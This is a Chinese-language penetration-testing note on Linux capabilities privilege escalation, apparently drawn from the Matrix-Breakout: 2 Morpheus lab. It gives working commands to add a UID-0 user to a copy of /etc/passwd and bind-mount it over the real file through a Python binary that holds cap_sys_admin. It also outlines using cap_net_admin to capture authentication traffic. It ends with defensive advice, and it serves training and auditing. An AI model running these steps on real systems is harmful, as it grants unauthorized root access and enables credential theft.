Linux capabilities 提权
Linux capabilities 把 root 权限拆成多个细粒度能力。问题在于:某些能力本身已经非常接近 root,一旦授给可被普通用户执行的程序,就可能绕过传统 SUID 检查完成提权。
枚举
getcap -r / 2>/dev/null
重点看:
/usr/bin/python3-9 cap_sys_admin=ep
/usr/sbin/xtables-nft-multi cap_net_admin=ep
高危能力速查
| capability | 风险 |
|---|---|
cap_sys_admin | 近似 root,能 mount、namespace、很多内核管理操作 |
cap_setuid | 可切换 UID,常见直接提权 |
cap_setfcap | 可给文件设置 capability,容易扩大权限 |
cap_dac_read_search | 绕过文件读取权限 |
cap_dac_override | 绕过文件读写权限 |
cap_net_admin | 修改网络、防火墙、路由,可能捕获或劫持流量 |
cap_sys_admin bind mount 覆盖文件
如果某个可执行程序既带 cap_sys_admin=ep,又能被当前用户执行,就可以考虑 bind mount 覆盖关键文件。
确认权限:
getcap /usr/bin/python3-9
ls -l /usr/bin/python3-9
id
构造新 /etc/passwd 副本:
cp /etc/passwd /tmp/passwd
HASH=$(openssl passwd -1 -salt bee hack123)
printf 'bee:%s:0:0:root:/root:/bin/bash\n' "$HASH" >> /tmp/passwd
使用 Python 调 mount() 做 bind mount:
/usr/bin/python3-9 - <<'PY'
from ctypes import *
libc = CDLL("libc.so.6")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
ret = libc.mount(b"/tmp/passwd", b"/etc/passwd", b"none", 4096, b"rw")
print(ret)
PY
切换新 root 用户:
su - bee
cap_net_admin 的横向价值
cap_net_admin 不一定直接 root,但能:
- 修改 iptables / nftables。
- 添加 DNAT / REDIRECT 规则。
- 抓取或劫持内部明文认证流量。
相关流程见:iptables DNAT 认证流量捕获。
防坑点
- capability 在文件上,不在用户上;用户必须能执行该文件。
cap_sys_admin的可利用方式取决于程序能力,Python/Perl 这类可调用系统 API 的解释器风险最高。- mount 覆盖是运行时效果,重启或卸载后会恢复。
- 修改
/etc/passwd类操作会影响系统稳定性,靶场结束后要清理或重启还原。
防御建议
- 定期审计
getcap -r /输出。 - 不给通用解释器设置高危 capability。
- 避免把高危 capability 授给 Web 用户、低权限组可执行的文件。
- 用包管理和完整性基线监控异常 capability。
来源案例
- Matrix-Breakout: 2 Morpheus:
python3-9带cap_sys_admin=ep,cypher属于可执行该文件的组,最终通过 bind mount 覆盖/etc/passwd提权。 - Matrix-Breakout: 2 Morpheus:
xtables-nft-multi的cap_net_admin=ep让 WebShell 可修改 NAT 捕获认证流量。